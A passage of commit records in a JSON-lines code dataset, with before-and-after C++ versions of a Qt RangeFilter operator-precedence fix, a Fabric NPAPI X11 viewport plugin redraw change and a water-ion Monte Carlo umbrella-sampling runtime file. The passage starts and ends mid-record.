proxyModel);\n    bool lessThanMin = m_minimumValue.isValid() &&\n            m_minimumInclusive ? value < m_minimumValue : value <= m_minimumValue;\n    bool moreThanMax = m_maximumValue.isValid() &&\n            m_maximumInclusive ? value > m_maximumValue : value >= m_maximumValue;\n    return !(lessThanMin || moreThanMax);\n}\n\n}\n<commit_msg>fix: Fix RangeFilter bug<commit_after>#include \"rangefilter.h\"\n\nnamespace qqsfpm {\n\n\/*!\n    \\qmltype RangeFilter\n    \\inherits RoleFilter\n    \\inqmlmodule SortFilterProxyModel\n    \\brief Filters rows between boundary values\n\n    A RangeFilter is a \\l RoleFilter that accepts rows if their data is between the filter's minimum and maximum value.\n\n    In the following example, only rows with their \\c price role set to a value between the tow boundary of the slider will be accepted :\n    \\code\n    RangeSlider {\n       id: priceRangeSlider\n    }\n\n    SortFilterProxyModel {\n       sourceModel: priceModel\n       filters: RangeFilter {\n           roleName: \"price\"\n           minimumValue: priceRangeSlider.first.value\n           maximumValue: priceRangeSlider.second.value\n       }\n    }\n    \\endcode\n*\/\n\n\/*!\n    \\qmlproperty int RangeFilter::minimumValue\n\n    This property holds the minimumValue of the filter.\n    Rows with a value lower than \\c minimumValue will be rejected.\n\n    By default, no value is set.\n\n    \\sa minimumInclusive\n*\/\nQVariant RangeFilter::minimumValue() const\n{\n    return m_minimumValue;\n}\n\nvoid RangeFilter::setMinimumValue(QVariant minimumValue)\n{\n    if (m_minimumValue == minimumValue)\n        return;\n\n    m_minimumValue = minimumValue;\n    Q_EMIT minimumValueChanged();\n    invalidate();\n}\n\n\/*!\n    \\qmlproperty int RangeFilter::minimumInclusive\n\n    This property holds whether the \\l minimumValue is inclusive.\n\n    By default, the \\l minimumValue is inclusive.\n\n    \\sa minimumValue\n*\/\nbool RangeFilter::minimumInclusive() const\n{\n    return m_minimumInclusive;\n}\n\nvoid RangeFilter::setMinimumInclusive(bool minimumInclusive)\n{\n    if (m_minimumInclusive == minimumInclusive)\n        return;\n\n    m_minimumInclusive = minimumInclusive;\n    Q_EMIT minimumInclusiveChanged();\n    invalidate();\n}\n\n\/*!\n    \\qmlproperty int RangeFilter::maximumValue\n\n    This property holds the maximumValue of the filter.\n    Rows with a value higher than \\c maximumValue will be rejected.\n\n    By default, no value is set.\n\n    \\sa maximumInclusive\n*\/\nQVariant RangeFilter::maximumValue() const\n{\n    return m_maximumValue;\n}\n\nvoid RangeFilter::setMaximumValue(QVariant maximumValue)\n{\n    if (m_maximumValue == maximumValue)\n        return;\n\n    m_maximumValue = maximumValue;\n    Q_EMIT maximumValueChanged();\n    invalidate();\n}\n\n\/*!\n    \\qmlproperty int RangeFilter::maximumInclusive\n\n    This property holds whether the \\l minimumValue is inclusive.\n\n    By default, the \\l minimumValue is inclusive.\n\n    \\sa minimumValue\n*\/\nbool RangeFilter::maximumInclusive() const\n{\n    return m_maximumInclusive;\n}\n\nvoid RangeFilter::setMaximumInclusive(bool maximumInclusive)\n{\n    if (m_maximumInclusive == maximumInclusive)\n        return;\n\n    m_maximumInclusive = maximumInclusive;\n    Q_EMIT maximumInclusiveChanged();\n    invalidate();\n}\n\nbool RangeFilter::filterRow(const QModelIndex& sourceIndex, const QQmlSortFilterProxyModel& proxyModel) const\n{\n    QVariant value = sourceData(sourceIndex, proxyModel);\n    bool lessThanMin = m_minimumValue.isValid() &&\n            (m_minimumInclusive ? value < m_minimumValue : value <= m_minimumValue);\n    bool moreThanMax = m_maximumValue.isValid() &&\n            (m_maximumInclusive ? value > m_maximumValue : value >= m_maximumValue);\n    return !(lessThanMin || moreThanMax);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  Copyright 2010-2011 Fabric Technologies Inc. All rights reserved.\n *\/\n\n#include <Fabric\/Clients\/NPAPI\/Linux\/X11ViewPort.h>\n#include <Fabric\/Clients\/NPAPI\/Interface.h>\n#include <Fabric\/Base\/JSON\/Value.h>\n#include <Fabric\/Base\/Exception.h>\n#include <Fabric\/Clients\/NPAPI\/Context.h>\n#include <Fabric\/Core\/DG\/Event.h>\n#include <Fabric\/Core\/MT\/LogCollector.h>\n\nnamespace Fabric\n{\n  namespace NPAPI\n  {\n    RC::Handle<ViewPort> X11ViewPort::Create( RC::ConstHandle<Interface> const &interface )\n    {\n      NPP npp = interface->getNPP();\n\n      NPBool supportsXEmbed;\n      if ( NPN_GetValue( NULL, NPNVSupportsXEmbedBool, (void *)&supportsXEmbed ) != NPERR_NO_ERROR )\n        supportsXEmbed = false;\n\n      if ( !supportsXEmbed )\n        return 0;\n\n      return new X11ViewPort( interface );\n    }\n    \n    X11ViewPort::X11ViewPort( RC::ConstHandle<Interface> const &interface )\n      : ViewPort( interface )\n      , m_logCollector( interface->getContext()->getLogCollector() )\n      , m_gdkNativeWindow( 0 )\n      , m_plug( 0 )\n      , m_drawingArea( 0 )\n      , m_windowWidth( -1 )\n      , m_windowHeight( -1 )\n    {\n    }\n    \n    X11ViewPort::~X11ViewPort()\n    {\n      if ( m_drawingArea )\n        g_object_unref( m_drawingArea );\n      if ( m_plug )\n        g_object_unref( m_plug );\n    }\n      \n    void X11ViewPort::redraw()\n    {\n      if ( m_drawingArea )\n      {\n        GdkGLDrawable *gdkGLDrawable = gtk_widget_get_gl_drawable( m_drawingArea );\n        FABRIC_ASSERT( gdkGLDrawable );\n        GdkGLContext *gdkGLContext = gtk_widget_get_gl_context( m_drawingArea );\n        FABRIC_ASSERT( gdkGLContext );\n\n        bool gdkGLDrawableMakeCurrentResult = gdk_gl_drawable_make_current( gdkGLDrawable, gdkGLContext );\n        FABRIC_ASSERT( gdkGLDrawableMakeCurrentResult );\n\n        static bool printedOpenGLVersionString = false;\n        if ( !printedOpenGLVersionString )\n        {\n          FABRIC_LOG( \"OpenGL version string is '%s'\", glGetString( GL_VERSION ) );\n          printedOpenGLVersionString = true;\n        }\n\n        RC::Handle<DG::Event> dgRedrawEvent = getRedrawEvent();\n        FABRIC_ASSERT( dgRedrawEvent );\n        try\n        {\n          dgRedrawEvent->fire();\n        }\n        catch ( Exception e )\n        {\n          FABRIC_LOG( \"redrawEvent: exception thrown: %s\", (const char*)e.getDesc() );\n        }\n        catch ( ... )\n        {\n          FABRIC_LOG( \"redrawEvent: unknown exception thrown\" );\n        }\n        drawWatermark( m_windowWidth, m_windowHeight );\n        glFinish();\n\n        if ( gdk_gl_drawable_is_double_buffered( gdkGLDrawable ) )\n          gdk_gl_drawable_swap_buffers( gdkGLDrawable );\n          \n        redrawFinished();\n      }\n    }\n\n    struct ViewPortAndJSONValue\n    {\n      ViewPort const *viewPort;\n      JSON::Value const *value;\n    };\n\n    void X11ViewPort::MenuItemActivateCallback( void *_viewPortAndJSONValue )\n    {\n      ViewPortAndJSONValue const *viewPortAndJSONValue = (ViewPortAndJSONValue const *)_viewPortAndJSONValue;\n      viewPortAndJSONValue->viewPort->jsonNotifyPopUpItem( viewPortAndJSONValue->value );\n    }\n\n    gboolean X11ViewPort::EventCallback( GtkWidget *widget, GdkEvent *event, gpointer user_data )\n    {\n      X11ViewPort *x11ViewPort = static_cast< X11ViewPort * >( user_data );\n      switch ( event->type )\n      {\n        case GDK_EXPOSE:\n          x11ViewPort->redraw();\n          return TRUE;\n\n        case GDK_BUTTON_PRESS:\n        {\n          GdkEventButton *button = (GdkEventButton *)event;\n          if ( button->button == 3 )\n          {\n            if ( !x11ViewPort->m_popUpItems.empty() )\n            {\n              GtkWidget *menu = gtk_menu_new();\n\n              for ( PopUpItems::const_iterator it=x11ViewPort->m_popUpItems.begin(); it!=x11ViewPort->m_popUpItems.end(); ++it )\n              {\n                PopUpItem const &popUpItem = *it;\n\n                GtkWidget *menuItem = gtk_menu_item_new_with_label( popUpItem.desc.c_str() );\n                gtk_menu_shell_append( GTK_MENU_SHELL(menu), menuItem );\n\n                ViewPortAndJSONValue *viewPortAndJSONValue = new ViewPortAndJSONValue;\n                viewPortAndJSONValue->viewPort = x11ViewPort;\n                viewPortAndJSONValue->value = popUpItem.value.ptr();\n                g_signal_connect_swapped( G_OBJECT(menuItem), \"activate\",\n                  G_CALLBACK(&X11ViewPort::MenuItemActivateCallback),\n                  viewPortAndJSONValue );\n                gtk_widget_show( menuItem );\n              }\n\n              gtk_menu_popup( GTK_MENU(menu), NULL, NULL, NULL, NULL, 0, gtk_get_current_event_time() );\n\n              return TRUE;\n            }\n          }\n        }    \n        break;\n      }\n      return FALSE;\n    }\n    \n    NPError X11ViewPort::nppSetWindow( NPWindow *window )\n    {\n      static bool calledGtkGLInit = false;\n      if ( !calledGtkGLInit )\n      {\n        int argc = 1;\n        char **argv;\n        argv = new char *[2];\n        argv[0] = strdup(\"libFabricNPAPIPlugin.so\");\n        argv[1] = NULL;\n        gtk_gl_init( &argc, &argv );\n        gdk_gl_init( &argc, &argv );\n        calledGtkGLInit = true;\n      }\n\n      GdkNativeWindow gdkNativeWindow = (GdkNativeWindow)(size_t)window->window;\n\n      if ( gdkNativeWindow != m_gdkNativeWindow )\n      {\n        if ( m_drawingArea )\n        {\n          g_object_unref( m_drawingArea );\n          m_drawingArea = 0;\n        }\n\n        if ( m_plug )\n        {\n          g_object_unref( m_plug );\n          m_plug = 0;\n        }\n\n        m_gdkNativeWindow = gdkNativeWindow;\n\n        if ( gdkNativeWindow )\n        {\n          GdkGLConfig *gdkGLConfig = gdk_gl_config_new_by_mode( GdkGLConfigMode(GDK_GL_MODE_RGBA | GDK_GL_MODE_DEPTH | GDK_GL_MODE_DOUBLE) );\n          FABRIC_ASSERT( gdkGLConfig );\n\n\n          m_drawingArea = gtk_drawing_area_new();\n          FABRIC_ASSERT( m_drawingArea );\n          g_object_ref( m_drawingArea );\n          bool gtkWidgetSetGLCapabilityResult = gtk_widget_set_gl_capability( m_drawingArea, gdkGLConfig, NULL, true, GDK_GL_RGBA_TYPE );\n          FABRIC_ASSERT( gtkWidgetSetGLCapabilityResult );\n          gtk_widget_set_events( m_drawingArea,\n            GDK_EXPOSURE_MASK\n            \/* disabled the button press masks, since javascript\n               events stopped to work\n            | GDK_BUTTON_PRESS_MASK\n            | GDK_BUTTON_RELEASE_MASK\n              *\/\n            );\n          \n          m_plug = gtk_plug_new( gdkNativeWindow );\n          FABRIC_ASSERT( m_plug );\n          g_object_ref( m_plug );\n          gtk_container_add( GTK_CONTAINER(m_plug), m_drawingArea ); \n\n          gtk_widget_show_all( GTK_WIDGET(m_plug) );\n\n          g_signal_connect( G_OBJECT(m_drawingArea), \"event\", G_CALLBACK( &X11ViewPort::EventCallback ), this );\n        }\n      }\n\n      if ( m_windowLeft != window->x || m_windowTop != window->y\n        || m_windowWidth != window->width || m_windowHeight != window->height )\n      {\n        m_windowLeft = window->x;\n        m_windowTop = window->y;\n        m_windowWidth = window->width;\n        m_windowHeight = window->height;\n      \n        didResize( m_windowWidth, m_windowHeight );\n      }\n\n      return NPERR_NO_ERROR;\n    }\n    \n    NPError X11ViewPort::nppGetValue( NPPVariable variable, void *value )\n    {\n      if ( variable == NPPVpluginNeedsXEmbed )\n      {\n        *(static_cast<NPBool*>(value)) = true;\n        return NPERR_NO_ERROR;\n      }\n\n      return ViewPort::nppGetValue( variable, value );\n    }\n\n    void X11ViewPort::needsRedraw()\n    {\n      gdk_window_invalidate_rect(\n        gtk_widget_get_window( m_drawingArea ),\n        NULL,\n        false\n        );\n    }\n      \n    void X11ViewPort::pushOGLContext()\n    {\n      m_gdkGLStack.push_back( GdkGLDrawableAndContext( gdk_gl_drawable_get_current(), gdk_gl_context_get_current() ) );\n      \n      if ( m_drawingArea )\n      {\n        GdkGLDrawable *gdkGLDrawable = gtk_widget_get_gl_drawable( m_drawingArea );\n        FABRIC_ASSERT( gdkGLDrawable );\n        GdkGLContext *gdkGLContext = gtk_widget_get_gl_context( m_drawingArea );\n        FABRIC_ASSERT( gdkGLContext );\n\n        bool gdkGLDrawableMakeCurrentResult = gdk_gl_drawable_make_current( gdkGLDrawable, gdkGLContext );\n        FABRIC_ASSERT( gdkGLDrawableMakeCurrentResult );\n      }\n    }\n    \n    void X11ViewPort::popOGLContext()\n    {\n      FABRIC_ASSERT( !m_gdkGLStack.empty() );\n\n      bool gdkGLDrawableMakeCurrentResult = gdk_gl_drawable_make_current( m_gdkGLStack.back().first, m_gdkGLStack.back().second );\n      FABRIC_ASSERT( gdkGLDrawableMakeCurrentResult );\n\n      m_gdkGLStack.pop_back();\n    }\n\n    std::string X11ViewPort::getPathFromSaveAsDialog( std::string const &defaultFilename, std::string const &extension )\n    {\n      GtkWidget *dialog = gtk_file_chooser_dialog_new( \"Save File...\",\n        NULL,\n        GTK_FILE_CHOOSER_ACTION_SAVE,\n        GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL,\n        GTK_STOCK_SAVE, GTK_RESPONSE_ACCEPT,\n        NULL\n        );\n      gtk_file_chooser_set_do_overwrite_confirmation( GTK_FILE_CHOOSER(dialog), TRUE );\n      \/\/gtk_file_chooser_set_current_folder( GTK_FILE_CHOOSER(dialog), default_folder_for_saving );\n      gtk_file_chooser_set_current_name( GTK_FILE_CHOOSER(dialog), defaultFilename.c_str() );\n       \n      std::string result;\n      gint runResult = gtk_dialog_run(GTK_DIALOG(dialog));\n      if ( runResult == GTK_RESPONSE_ACCEPT )\n      {\n        char *filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog));\n        result = std::string( filename );\n        g_free(filename);\n      }\n      gtk_widget_destroy (dialog);\n      if ( runResult != GTK_RESPONSE_ACCEPT )\n        throw Exception( \"File save failed or was canceled by user\" );\n      return result;\n    }\n  };\n};\n<commit_msg>issue-442: add notification bracket for Linux redraw<commit_after>\/*\n *  Copyright 2010-2011 Fabric Technologies Inc. All rights reserved.\n *\/\n\n#include <Fabric\/Clients\/NPAPI\/Linux\/X11ViewPort.h>\n#include <Fabric\/Clients\/NPAPI\/Interface.h>\n#include <Fabric\/Base\/JSON\/Value.h>\n#include <Fabric\/Base\/Exception.h>\n#include <Fabric\/Clients\/NPAPI\/Context.h>\n#include <Fabric\/Core\/DG\/Event.h>\n#include <Fabric\/Core\/MT\/LogCollector.h>\n\nnamespace Fabric\n{\n  namespace NPAPI\n  {\n    RC::Handle<ViewPort> X11ViewPort::Create( RC::ConstHandle<Interface> const &interface )\n    {\n      NPP npp = interface->getNPP();\n\n      NPBool supportsXEmbed;\n      if ( NPN_GetValue( NULL, NPNVSupportsXEmbedBool, (void *)&supportsXEmbed ) != NPERR_NO_ERROR )\n        supportsXEmbed = false;\n\n      if ( !supportsXEmbed )\n        return 0;\n\n      return new X11ViewPort( interface );\n    }\n    \n    X11ViewPort::X11ViewPort( RC::ConstHandle<Interface> const &interface )\n      : ViewPort( interface )\n      , m_logCollector( interface->getContext()->getLogCollector() )\n      , m_gdkNativeWindow( 0 )\n      , m_plug( 0 )\n      , m_drawingArea( 0 )\n      , m_windowWidth( -1 )\n      , m_windowHeight( -1 )\n    {\n    }\n    \n    X11ViewPort::~X11ViewPort()\n    {\n      if ( m_drawingArea )\n        g_object_unref( m_drawingArea );\n      if ( m_plug )\n        g_object_unref( m_plug );\n    }\n      \n    void X11ViewPort::redraw()\n    {\n      if ( m_drawingArea )\n      {\n        DG::Context::NotificationBracket notificationBracket( getInterface()->getContext() );\n\n        GdkGLDrawable *gdkGLDrawable = gtk_widget_get_gl_drawable( m_drawingArea );\n        FABRIC_ASSERT( gdkGLDrawable );\n        GdkGLContext *gdkGLContext = gtk_widget_get_gl_context( m_drawingArea );\n        FABRIC_ASSERT( gdkGLContext );\n\n        bool gdkGLDrawableMakeCurrentResult = gdk_gl_drawable_make_current( gdkGLDrawable, gdkGLContext );\n        FABRIC_ASSERT( gdkGLDrawableMakeCurrentResult );\n\n        static bool printedOpenGLVersionString = false;\n        if ( !printedOpenGLVersionString )\n        {\n          FABRIC_LOG( \"OpenGL version string is '%s'\", glGetString( GL_VERSION ) );\n          printedOpenGLVersionString = true;\n        }\n\n        RC::Handle<DG::Event> dgRedrawEvent = getRedrawEvent();\n        FABRIC_ASSERT( dgRedrawEvent );\n        try\n        {\n          dgRedrawEvent->fire();\n        }\n        catch ( Exception e )\n        {\n          FABRIC_LOG( \"redrawEvent: exception thrown: %s\", (const char*)e.getDesc() );\n        }\n        catch ( ... )\n        {\n          FABRIC_LOG( \"redrawEvent: unknown exception thrown\" );\n        }\n        drawWatermark( m_windowWidth, m_windowHeight );\n        glFinish();\n\n        if ( gdk_gl_drawable_is_double_buffered( gdkGLDrawable ) )\n          gdk_gl_drawable_swap_buffers( gdkGLDrawable );\n          \n        redrawFinished();\n      }\n    }\n\n    struct ViewPortAndJSONValue\n    {\n      ViewPort const *viewPort;\n      JSON::Value const *value;\n    };\n\n    void X11ViewPort::MenuItemActivateCallback( void *_viewPortAndJSONValue )\n    {\n      ViewPortAndJSONValue const *viewPortAndJSONValue = (ViewPortAndJSONValue const *)_viewPortAndJSONValue;\n      viewPortAndJSONValue->viewPort->jsonNotifyPopUpItem( viewPortAndJSONValue->value );\n    }\n\n    gboolean X11ViewPort::EventCallback( GtkWidget *widget, GdkEvent *event, gpointer user_data )\n    {\n      X11ViewPort *x11ViewPort = static_cast< X11ViewPort * >( user_data );\n      switch ( event->type )\n      {\n        case GDK_EXPOSE:\n          x11ViewPort->redraw();\n          return TRUE;\n\n        case GDK_BUTTON_PRESS:\n        {\n          GdkEventButton *button = (GdkEventButton *)event;\n          if ( button->button == 3 )\n          {\n            if ( !x11ViewPort->m_popUpItems.empty() )\n            {\n              GtkWidget *menu = gtk_menu_new();\n\n              for ( PopUpItems::const_iterator it=x11ViewPort->m_popUpItems.begin(); it!=x11ViewPort->m_popUpItems.end(); ++it )\n              {\n                PopUpItem const &popUpItem = *it;\n\n                GtkWidget *menuItem = gtk_menu_item_new_with_label( popUpItem.desc.c_str() );\n                gtk_menu_shell_append( GTK_MENU_SHELL(menu), menuItem );\n\n                ViewPortAndJSONValue *viewPortAndJSONValue = new ViewPortAndJSONValue;\n                viewPortAndJSONValue->viewPort = x11ViewPort;\n                viewPortAndJSONValue->value = popUpItem.value.ptr();\n                g_signal_connect_swapped( G_OBJECT(menuItem), \"activate\",\n                  G_CALLBACK(&X11ViewPort::MenuItemActivateCallback),\n                  viewPortAndJSONValue );\n                gtk_widget_show( menuItem );\n              }\n\n              gtk_menu_popup( GTK_MENU(menu), NULL, NULL, NULL, NULL, 0, gtk_get_current_event_time() );\n\n              return TRUE;\n            }\n          }\n        }    \n        break;\n      }\n      return FALSE;\n    }\n    \n    NPError X11ViewPort::nppSetWindow( NPWindow *window )\n    {\n      static bool calledGtkGLInit = false;\n      if ( !calledGtkGLInit )\n      {\n        int argc = 1;\n        char **argv;\n        argv = new char *[2];\n        argv[0] = strdup(\"libFabricNPAPIPlugin.so\");\n        argv[1] = NULL;\n        gtk_gl_init( &argc, &argv );\n        gdk_gl_init( &argc, &argv );\n        calledGtkGLInit = true;\n      }\n\n      GdkNativeWindow gdkNativeWindow = (GdkNativeWindow)(size_t)window->window;\n\n      if ( gdkNativeWindow != m_gdkNativeWindow )\n      {\n        if ( m_drawingArea )\n        {\n          g_object_unref( m_drawingArea );\n          m_drawingArea = 0;\n        }\n\n        if ( m_plug )\n        {\n          g_object_unref( m_plug );\n          m_plug = 0;\n        }\n\n        m_gdkNativeWindow = gdkNativeWindow;\n\n        if ( gdkNativeWindow )\n        {\n          GdkGLConfig *gdkGLConfig = gdk_gl_config_new_by_mode( GdkGLConfigMode(GDK_GL_MODE_RGBA | GDK_GL_MODE_DEPTH | GDK_GL_MODE_DOUBLE) );\n          FABRIC_ASSERT( gdkGLConfig );\n\n\n          m_drawingArea = gtk_drawing_area_new();\n          FABRIC_ASSERT( m_drawingArea );\n          g_object_ref( m_drawingArea );\n          bool gtkWidgetSetGLCapabilityResult = gtk_widget_set_gl_capability( m_drawingArea, gdkGLConfig, NULL, true, GDK_GL_RGBA_TYPE );\n          FABRIC_ASSERT( gtkWidgetSetGLCapabilityResult );\n          gtk_widget_set_events( m_drawingArea,\n            GDK_EXPOSURE_MASK\n            \/* disabled the button press masks, since javascript\n               events stopped to work\n            | GDK_BUTTON_PRESS_MASK\n            | GDK_BUTTON_RELEASE_MASK\n              *\/\n            );\n          \n          m_plug = gtk_plug_new( gdkNativeWindow );\n          FABRIC_ASSERT( m_plug );\n          g_object_ref( m_plug );\n          gtk_container_add( GTK_CONTAINER(m_plug), m_drawingArea ); \n\n          gtk_widget_show_all( GTK_WIDGET(m_plug) );\n\n          g_signal_connect( G_OBJECT(m_drawingArea), \"event\", G_CALLBACK( &X11ViewPort::EventCallback ), this );\n        }\n      }\n\n      if ( m_windowLeft != window->x || m_windowTop != window->y\n        || m_windowWidth != window->width || m_windowHeight != window->height )\n      {\n        m_windowLeft = window->x;\n        m_windowTop = window->y;\n        m_windowWidth = window->width;\n        m_windowHeight = window->height;\n      \n        didResize( m_windowWidth, m_windowHeight );\n      }\n\n      return NPERR_NO_ERROR;\n    }\n    \n    NPError X11ViewPort::nppGetValue( NPPVariable variable, void *value )\n    {\n      if ( variable == NPPVpluginNeedsXEmbed )\n      {\n        *(static_cast<NPBool*>(value)) = true;\n        return NPERR_NO_ERROR;\n      }\n\n      return ViewPort::nppGetValue( variable, value );\n    }\n\n    void X11ViewPort::needsRedraw()\n    {\n      gdk_window_invalidate_rect(\n        gtk_widget_get_window( m_drawingArea ),\n        NULL,\n        false\n        );\n    }\n      \n    void X11ViewPort::pushOGLContext()\n    {\n      m_gdkGLStack.push_back( GdkGLDrawableAndContext( gdk_gl_drawable_get_current(), gdk_gl_context_get_current() ) );\n      \n      if ( m_drawingArea )\n      {\n        GdkGLDrawable *gdkGLDrawable = gtk_widget_get_gl_drawable( m_drawingArea );\n        FABRIC_ASSERT( gdkGLDrawable );\n        GdkGLContext *gdkGLContext = gtk_widget_get_gl_context( m_drawingArea );\n        FABRIC_ASSERT( gdkGLContext );\n\n        bool gdkGLDrawableMakeCurrentResult = gdk_gl_drawable_make_current( gdkGLDrawable, gdkGLContext );\n        FABRIC_ASSERT( gdkGLDrawableMakeCurrentResult );\n      }\n    }\n    \n    void X11ViewPort::popOGLContext()\n    {\n      FABRIC_ASSERT( !m_gdkGLStack.empty() );\n\n      bool gdkGLDrawableMakeCurrentResult = gdk_gl_drawable_make_current( m_gdkGLStack.back().first, m_gdkGLStack.back().second );\n      FABRIC_ASSERT( gdkGLDrawableMakeCurrentResult );\n\n      m_gdkGLStack.pop_back();\n    }\n\n    std::string X11ViewPort::getPathFromSaveAsDialog( std::string const &defaultFilename, std::string const &extension )\n    {\n      GtkWidget *dialog = gtk_file_chooser_dialog_new( \"Save File...\",\n        NULL,\n        GTK_FILE_CHOOSER_ACTION_SAVE,\n        GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL,\n        GTK_STOCK_SAVE, GTK_RESPONSE_ACCEPT,\n        NULL\n        );\n      gtk_file_chooser_set_do_overwrite_confirmation( GTK_FILE_CHOOSER(dialog), TRUE );\n      \/\/gtk_file_chooser_set_current_folder( GTK_FILE_CHOOSER(dialog), default_folder_for_saving );\n      gtk_file_chooser_set_current_name( GTK_FILE_CHOOSER(dialog), defaultFilename.c_str() );\n       \n      std::string result;\n      gint runResult = gtk_dialog_run(GTK_DIALOG(dialog));\n      if ( runResult == GTK_RESPONSE_ACCEPT )\n      {\n        char *filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog));\n        result = std::string( filename );\n        g_free(filename);\n      }\n      gtk_widget_destroy (dialog);\n      if ( runResult != GTK_RESPONSE_ACCEPT )\n        throw Exception( \"File save failed or was canceled by user\" );\n      return result;\n    }\n  };\n};\n<|endoftext|>"}
{"text":"<commit_before>#include \"common.h\"\r\n\r\nvoid SPCERuntime::run_umbrella_system() {\r\n    cerr << \"---- BEGIN - UMBRELLA SAMPLING ----\" << endl;\r\n    double window_lower_bound = 0.0, window_upper_bound = 2.0;\r\n    Simulation * simulation = new Simulation();\r\n\r\n    Ion * anion = simulation->IONS[0];\r\n    Ion * cation = simulation->IONS[1];\r\n    anion->charge = -1.0;\r\n    cation->charge = 1.0;\r\n\r\n    cerr << \"Initializing anion-cation distance to be inside window [\" << window_lower_bound << \", \" << window_upper_bound << \"] Angstroms......\";\r\n    while (anion->distance_from(cation) <= window_lower_bound or anion->distance_from(cation) > window_upper_bound)\r\n        anion->set_random_coords();\r\n    cerr << \"done.\\n\" << endl;\r\n\r\n    simulation->NUM_EQUILIBRATION_SWEEPS = 100000;\r\n    simulation->turn_on_window_sampling_mc(window_lower_bound, window_upper_bound);\r\n    simulation->equilibrate();\r\n\r\n    simulation->SAMPLER_SET->turn_on_lammpstrj_sampler();\r\n    simulation->DATA_SAMPLING_RATE = 20;\r\n    simulation->NUM_MC_SWEEPS = 500000;\r\n    simulation->run_mc();\r\n\r\n    simulation->SAMPLER_SET->write_config_snapshot();\r\n    cerr << \"\\n---- END - UMBRELLA SAMPLING ----\\n\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::run_all_tests(int argc, char** argv) {\r\n    run_umbrella_system();\r\n    \/\/test_water_rotation();\r\n    \/\/test_lammpstrj_output();\r\n    \/\/test_config_output();\r\n    \/\/test_config_input();\r\n    \/\/test_radial_dist();\r\n    \/\/test_ion_pair_dist();\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_config_input() {\r\n    cerr << \"---- BEGIN TEST - CONFIG FILE INPUT ----\" << endl\r\n            << \"Reading from input file sample.config...\\n\" << endl;\r\n    Simulation * simulation = ConfigReader::new_simulation_with_config(\"sample.config\");\r\n    cout << simulation << endl;\r\n    cerr << \"\\n---- END TEST - CONFIG FILE INPUT ----\\n\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_lammpstrj_output() {\r\n    cerr << \"---- BEGIN TEST - LAMMPSTRJ (VMD) FILE OUTPUT ----\" << endl;\r\n    Simulation * s = new Simulation();\r\n    s->SAMPLER_SET->turn_on_lammpstrj_sampler();\r\n    s->DATA_SAMPLING_RATE = 2;\r\n    s->NUM_MC_SWEEPS = 10;\r\n    s->run_mc();\r\n    cerr << \"\\n---- END TEST - LAMMPSTRJ (VMD) FILE OUTPUT ----\\n\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_config_output() {\r\n    cerr << \"---- BEGIN TEST - CONFIG FILE OUTPUT ----\" << endl;\r\n    Simulation * s = new Simulation();\r\n    s->IONS[0]->charge = -1.0;\r\n    s->IONS[1]->charge = 1.0;\r\n    s->NUM_MC_SWEEPS = 10;\r\n    s->turn_on_window_sampling_mc(9.12, 12.56);\r\n    s->run_mc();\r\n    s->SAMPLER_SET->write_config_snapshot();\r\n    cerr << \"\\n---- END TEST - CONFIG FILE OUTPUT ----\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_radial_dist() {\r\n    cerr << \"---- BEGIN TEST - RADIAL DISTRIBUTION SAMPLER ----\" << endl;\r\n    Simulation * simulation = new Simulation();\r\n    simulation->IONS[0]->charge = -1.0;\r\n    simulation->IONS[1]->charge = 1.0;\r\n    simulation->NUM_MC_SWEEPS = 50000;\r\n    simulation->SAMPLER_SET->add_rdf_sampler();\r\n    simulation->run_mc();\r\n    simulation->SAMPLER_SET->print_individual_sampler_results();\r\n    cerr << \"\\n---- END TEST - RADIAL DISTRIBUTION SAMPLER ----\\n\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_ion_pair_dist() {\r\n    cerr << \"---- BEGIN TEST - ION PAIR DISTANCE SAMPLER ----\" << endl;\r\n    Simulation * simulation = new Simulation();\r\n    simulation->IONS[0]->charge = -1.0;\r\n    simulation->IONS[1]->charge = 1.0;\r\n    simulation->NUM_MC_SWEEPS = 50000;\r\n    simulation->SAMPLER_SET->add_ion_pair_distance_sampler();\r\n    simulation->run_mc();\r\n    simulation->SAMPLER_SET->print_individual_sampler_results();\r\n    cerr << \"---- END TEST - ION PAIR DISTANCE SAMPLER ----\\n\" << endl;\r\n    return;\r\n}\r\n\r\nvoid SPCERuntime::test_water_rotation() {\r\n    cerr << \"---- BEGIN TEST - WATER ROTATION ----\" << endl;\r\n    double * coords = new double [9];\r\n    coords[0] = 1.34;\r\n    coords[1] = 2.0;\r\n    coords[2] = 3.2;\r\n    for (int i = 3; i < 9; i++)\r\n        coords[i] = RAN3()*5.0;\r\n    Water * w = new Water(coords, 0.2, 0.17, 20.0, 20.0);\r\n    delete [] coords;\r\n    for (int k = 0; k < 10000; k++) {\r\n        w->mc_rotate();\r\n        cout << w << endl;\r\n    }\r\n    cerr << \"---- END TEST - WATER ROTATION ----\\n\" << endl;\r\n    return;\r\n}\r\n<commit_msg>setting new window<commit_after>#include \"common.h\"\r\n\r\nvoid SPCERuntime::run_umbrella_system() {\r\n    cerr << \"---- BEGIN - UMBRELLA SAMPLING ----\" << endl;\r\n    double window_lower_bound = 0.0, window_upper_bound = 2.0;\r\n    Simulation * simulation = new Simulation();\r\n\r\n    Ion * anion = simulation->IONS[0];\r\n    Ion * cation = simulation->IONS[1];\r\n    anion->charge = -1.0;\r\n    cation->charge = 1.0;\r\n\r\n    cerr << \"Initializing anion-cation distance to be inside window [\" << window_lower_bound << \", \" << window_upper_bound << \"] Angstroms......\";\r\n    while (anion->distance_from(cation) <= window_lower_bound or anion->distance_from(cation) > window_upper_bound)\r\n        anion->set_random_coords();\r\n    cerr << \"done.\\n\" << endl;\r\n\r\n    simulation->NUM_EQUILIBRATION_SWEEPS = 100000;\r\n    simulation->turn_on_window_sampling_mc(window_lower_bound, window_upper_bound);\r\n    simulation->equilibrate();\r\n\r\n    simulation->SAMPLER_SET->turn_on_lammpstrj_sampler();\r\n    simulation->SAMPLER_SET->add_ion_pair_distance_sampler();\r\n    